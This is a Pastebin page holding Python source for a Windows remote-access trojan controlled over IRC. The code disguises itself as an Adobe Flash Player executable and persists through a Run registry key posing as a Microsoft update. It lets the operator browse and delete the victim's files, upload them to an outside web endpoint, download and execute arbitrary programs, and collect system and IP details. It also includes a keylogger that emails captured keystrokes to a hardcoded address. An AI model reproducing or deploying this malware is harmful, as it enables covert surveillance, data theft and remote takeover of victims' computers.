Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- #https://www.python.org/dev/peps/pep-0263/
- # File "fileName.py", line
- # SyntaxError: Non-ASCII charactere 'xc3'
- import os #Sistema
- import os.path
- import platform
- import random
- import shutil
- import glob #lista arquivos
- import socket #Conexao
- import subprocess
- import sys
- import threading
- import urllib,urllib2 #Download
- from urllib import urlopen #Ip Location
- import re #Ip Location
- import smtplib #Enviar Keylogger via email
- import datetime,time
- import pythoncom, pyHook #Keylogger
- import requests #Upload Arquivos
- import win32api, win32con #Ocultar arquivos
- import win32event, winerror
- from _winreg import *
- """
- Commandos
- .exit
- .ip
- .login
- .nick
- .info
- .cd
- .pwd
- .down
- .exec
- .listfile
- .upfile
- .delfile
- .hidefile"
- .keymail
- .keystop
- """
- sys.path.append(os.path.dirname(getattr(sys,'executable',sys.argv[0])) or '.')
- try:
- import zipextimporter
- zipextimporter.install()
- except:
- pass
- server ="kornbluth.freenode.net" #Servidor IRC
- canal = "#Unreal3301" #Canal terminus sanctuary
- passwd = "172839" #Senha do Bot
- passch = "" #Senha do Canal
- versao = "Versao: 1.0"
- dir = "C:\\Users\\Public\\Libraries\\adobeflashplayer.exe" #Copiar-se Para:
- data='' #Dados Keylogger Mail
- keyst = False #Ativar Keylogger False for True
- def getPublicIp():
- data = str(urlopen('http://checkip.dyndns.com/').read())
- return re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
- def ipLocal():
- addresses = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1]
- return addresses
- class RegEdit(threading.Thread):
- def run(self):
- shutil.copy(sys.argv[0],dir)
- aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
- aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
- SetValueEx(aKey,"MicrosofUpdate",0, REG_SZ, dir)
- class Download(threading.Thread):
- def run(self):
- file_name = url.split('/')[-1]
- u = urllib2.urlopen(url)
- f = open(file_name, 'wb')
- meta = u.info()
- file_size = int(meta.getheaders("Content-Length")[0])
- sendmsg(canal, "Downloading: %s - Tamanho: %s Bytes" % (file_name, file_size))
- f.write(u.read())
- f.close()
- sendmsg(canal, "Download completo de: " + str(file_name))
- #Email Logs
- class TimerClass(threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- self.event = threading.Event()
- def run(self):
- while not self.event.is_set():
- global data
- if len(data)>100:
- ts = datetime.datetime.now()
- SERVER = "smtps.bol.com.br" #Especificar Servidor Aqui
- PORT = 587 #Especificar porta Aqui
- USER="enviaemail@bol.com.br" #Especificar o usuario Aqui /preferencia bol
- PASS="senha" #Especificar a senha do usuario Aqui
- FROM = USER #From address is taken from username
- TO = ["recebeemail@gmail.com"] #Especifique o email de detino. Use vírgula para mais do que um endereço de email.
- SUBJECT = "Keylogger de: "+ pc_name + " Data/Hora " + str(ts)
- MESSAGE = data
- message = """\
- From: %s
- To: %s
- Subject: %s
- %s
- """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
- try:
- server = smtplib.SMTP()
- server.connect(SERVER,PORT)
- server.starttls()
- server.login(USER,PASS)
- server.sendmail(FROM, TO, message)
- data=''
- server.quit()
- except Exception as e:
- print e
- self.event.wait(120)
- #Keylogger
- def keypressed(event):
- global data
- if event.Ascii==13:
- keys='<ENTER>\n'
- elif event.Ascii==8:
- keys='<BACK_SPACE>'
- elif event.Ascii==9:
- keys='<TAB>'
- else:
- keys=chr(event.Ascii)
- data=data+keys
- class KeyMail(threading.Thread):
- global keyst
- def run(self):
- sendmsg(canal, "Keylogger Ativado")
- while keyst == False:
- obj = pyHook.HookManager()
- obj.KeyDown = keypressed
- obj.HookKeyboard()
- pythoncom.PumpMessages()
- return
- def conn():
- try:
- irc_sock.connect((server, 6667 ))#or 6665
- except socket.error:
- conn()
- else:
- irc_sock.send(str.encode("USER "+ bot_nick +" "+ bot_nick +" "+ bot_nick +" :hax\n"))
- irc_sock.send(str.encode("NICK "+ bot_nick +"\n"))
- def ping():
- irc_sock.send (str.encode("PONG :pingis\n"))
- def sendmsg(chan , msg):
- irc_sock.send("PRIVMSG " + chan +" :" + msg + "\n")#(str.encode("PRIVMSG " + chan +" :" + msg + "\n") )
- def join_chan(chan):
- irc_sock.send(str.encode("JOIN " + chan + " " + passch + "\n"))
- def leave_chan(chan):
- irc_sock.send(str.encode("PART " + chan + " leaving the canal" + "\n"))
- def quit_irc(chan):
- irc_sock.send(str.encode("QUIT" + "\n"))
- pc_name = platform.node()
- irc_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- bot_nick = pc_name + "-" + str(random.randint(1, 10000))
- time.sleep(50)
- conn()
- join_chan(canal)
- if os.path.isfile(dir) == False:
- RegEdit().start()
- else:
- print "\nWindows Erro"
- login = False
- while login != True:
- irc_msg = irc_sock.recv(2048)
- irc_msg_clean = irc_msg.strip(str.encode('\n\r'))
- irc_sock.send(str.encode("NICK " + bot_nick + "\n"))
- print(irc_msg_clean)
- if irc_msg.find(irc_msg.replace("PING ", "PONG")) !=-1:
- ping()
- if irc_msg.find(str.encode(".login")) !=-1:
- try:
- parts = irc_msg_clean.split()
- islogin = parts[4]
- except IndexError:
- sendmsg(canal, "Sintax Invalida, use: .login + senha")
- else:
- if islogin != passwd:
- sendmsg(canal, "Erro na Autenticacao, senha invalida" )
- else:
- sendmsg(canal, "Conectado com " + bot_nick)
- login = True
- #FIM AUTENTCAÇÃO POR SENHA
- while (1):
- irc_msg = irc_sock.recv(2048)
- irc_msg_clean = irc_msg.strip(str.encode('\n\r'))
- print(irc_msg_clean)
- ######################################################################################################################
- if irc_msg.find(str.encode("Nickname is already in use")) != -1:
- bot_nick = pc_name + str(random.randint(1,10000))
- irc_sock.send(str.encode("NICK "+ bot_nick +"\n"))
- join_chan(canal)
- ######################################################################################################################
- if irc_msg.find(str.encode("PING :")) != -1:
- ping()
- ######################################################################################################################
- if irc_msg.find(str.encode(".exit")) != -1:
- quit_irc(canal)
- sys.exit()
- ######################################################################################################################
- if irc_msg.find(str.encode(".nick")) !=-1:
- sendmsg(canal, " BotNick = " + bot_nick )
- ######################################################################################################################
- if irc_msg.find(str.encode(".dirme")) !=-1: #Lista diretorio atual do bot
- sendmsg(canal, "Meu diretorio er: " + sys.path[0])
- ##########################---- PARTE NAVEGAR NAS PASTAS ----------------------#####################################
- if irc_msg.find(str.encode(".cd")) != -1: #Entrar nas pasta do computador
- # view https://pypi.python.org/pypi/lockfile
- # view http://www.thomas-cokelaer.info/tutorials/python/module_os.html
- try:
- parts = irc_msg_clean.split()
- dir = parts[4]
- idbot = parts[5]
- except IndexError:
- sendmsg(canal, "Sintax Invalida, use: .cd <caminho> <BotNick>")
- else:
- if idbot == bot_nick and dir == dir:
- oss = os.chdir(dir)
- listar = os.listdir(str(dir))
- sendmsg(canal, "Diretorios e Arquivos:")
- sendmsg(canal, str(listar))
- file = glob.glob('*.*')
- for file in file:
- sendmsg(canal, "Arquivo: " + file + " " + str(os.path.getsize(file)) + " kb")
- local = str(os.getcwd())
- sendmsg(canal, "Diretorio Atual: " + "[ " + str(local) + " ]")
- ##########################---- PARTE DIRETORIO ATUAL -------------------#################################
- if irc_msg.find(str.encode(".pwd")) !=-1: #Ver diretorio atual
- try:
- parts = irc_msg_clean.split()
- idbot = parts[4]
- except IndexError:
- sendmsg(canal, "Sintax Invalida, use: .pwd <BotNick>")
- else:
- if idbot == bot_nick:
- local = str(os.getcwd())
- sendmsg(canal, "Diretorio Atual: " + "[ " + str(local) + " ]") #Printa Diretorio atual
- ##########################---- PARTE LISTAR AQUIVOS ------------###########################################
- if irc_msg.find(str.encode(".listfile")) !=-1: #Ver Arquivos contido no diretorio atual
- try:
- parts = irc_msg_clean.split()
- idbot = parts[4]
- except IndexError:
- sendmsg(canal, "Sintax Invalida, use: .listfile <BotNick>")
- else:
- if idbot == bot_nick:
- file = glob.glob('*.*')
- for file in file:
- sendmsg(canal, "Arquivo: [ " + file + " " + str(os.path.getsize(file)) + " kb ]") #Lista arquivos contido no diretorio atual
- local = str(os.getcwd())
- sendmsg(canal, "Diretorio Atual: " + "[ " + str(local) + " ]") #Printa Diretorio atual
- ##########################---- PARTE DELETAR ARQUIVOS ----------------#####################################
- if irc_msg.find(str.encode(".delfile")) !=-1: #Deletar um Arquivo
- try:
- parts = irc_msg_clean.split()
- isfile = parts[4]
- idbot = parts[5]
- except IndexError:
- sendmsg(canal, "Sintax Invalida, use: .delfile <arquivo> <BotNick>")
- else:
- localisfile = glob.glob(isfile)
- for localisfile in localisfile:
- os.unlink(localisfile)
- if idbot == bot_nick and isfile == localisfile:
- sendmsg(canal, "Arquivo Deletado: " + "[ " + localisfile + " ]")
- ##########################---- PARTE UPLOAD ------------######################################################
- if irc_msg.find(str.encode(".upfile")) !=-1: # Upload de arquivo
- try:
- parts = irc_msg_clean.split()
- isupfile = parts[4]
- idbot = parts[5]
- except IndexError:
- sendmsg(canal, "Sintax Invalida, use: .upfile <Arquivo> <BotNick>")
- else:
- if idbot == bot_nick and isupfile == isupfile:
- url = 'http://agenciagenes.com.br/upload_files/post.php' #Arry Receber o arquivo
- files = {'file': open(isupfile, 'rb')}
- r = requests.post(url, files=files) #import requests
- sendmsg(canal, "Arquivo urpado com sucesso: " + "http://agenciagenes.com.br/upload_files/" + isupfile)
- #else:
- #sendmsg(canal, "Erro ao urpar o arquivo: " + isupfile)
- ##########################---- PARTE DOWNLOAD -----------######################################################
- if irc_msg.find(str.encode(".down")) != -1:
- try:
- parts = irc_msg_clean.split()
- url = parts[4]
- idbot = parts[5]
- except IndexError:
- sendmsg(canal, "Sintax Invalida, use: .down <link_direto> EX: http://endereco.com.br/arquivo.exe <BotNick>")
- else:
- if idbot == bot_nick and url == url:
- if __name__ == "__main__":
- Download().start()
- ##########################---- PARTE EXECULTAR ARQUIVOS -----------######################################################
- if irc_msg.find(str.encode(".exec")) != -1:
- try:
- parts = irc_msg_clean.split()
- run = parts[4]
- idbot = parts[5]
- except IndexError:
- sendmsg(canal, "Sintax Invalida, use: .exec <arquivo.exe> <BotNick> ")
- else:
- if idbot == bot_nick and run == run:
- if os.path.isfile(str(run)) == True:
- subprocess.call(['start', run], shell=True)
- sendmsg(canal, run + " execultado com sucesso.")
- else:
- sendmsg(canal, run + " arquivo nao existe.")
- ##########################---- PARTE KEYLOGGER -------###################################################
- if irc_msg.find(str.encode(".keymail")) !=-1:
- e_Mail = "start"
- try:
- parts = irc_msg_clean.split()
- idbot = parts[4]
- except IndexError:
- sendmsg(canal, "Keylogger Error, Use .keymail start")
- else:
- if idbot == bot_nick or idbot == e_Mail:
- if __name__ == "__main__":
- keyst = False
- email = TimerClass()
- email.start()
- ss_star = KeyMail()
- ss_star.start()
- ##########################---- PARTE IP --------#########################################################
- if irc_msg.find(str.encode(".ip")) !=-1:
- try:
- parts = irc_msg_clean.split()
- idbot = parts[4]
- except IndexError:
- sendmsg(canal, "Error, Use .ip <BotNick>")
- else:
- if idbot == bot_nick:
- is_ip = getPublicIp()
- ipvL = ipLocal()
- sendmsg(canal, "IP Local: " + str(ipvL) + " Ip Externo: " + "['" + is_ip + "']" )
- if irc_msg.find(str.encode(".info")) !=-1:
- bots = "bots"
- try:
- parts = irc_msg_clean.split()
- idbot = parts[4]
- except IndexError:
- sendmsg(canal, "Sintax Invalida, use: .info [BotNick] ou .info bots para exibir informacoes sobre todos os bots.")
- else:
- if idbot == bot_nick or idbot == bots:
- os = platform.system()
- name = platform.node()
- proc = platform.processor()
- info = "Sistema Operacional: " + os + ", Nome do Computador: " + name + ", Processador: " + proc
- mnfo = platform.uname()
- sendmsg(canal, info)
- sendmsg(canal, str(mnfo))
- if irc_msg.find(str.encode(".ccd")) != -1: #Entrar nas pasta do computador nonado
- try:
- parts = irc_msg_clean.split()
- dir = parts[4]
- idbot = parts[5]
- except IndexError:
- sendmsg(canal, "Sintax Invalida, use: .cd <caminho> <BotNick>")
- else:
- if idbot == bot_nick and dir == dir:
- os.chdir(dir)
- filedirlist = os.listdir(dir)
- filelist = [os.path.abspath(f) for f in filedirlist if os.path.isfile(f)]
- dirlist = [os.path.abspath(d) for d in filedirlist if os.path.isdir(d)]
- # Lista de arquivos com path completo.
- for i in filelist:
- sendmsg(canal, "Arquivo " + str(i + " " + str(os.path.getsize(i)) + " kb"))
- # Lista de diretórios com path completo.
- for i in dirlist:
- sendmsg(canal, "Pasta " + str(i + " " + str(os.path.getsize(i)) + " kb"))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement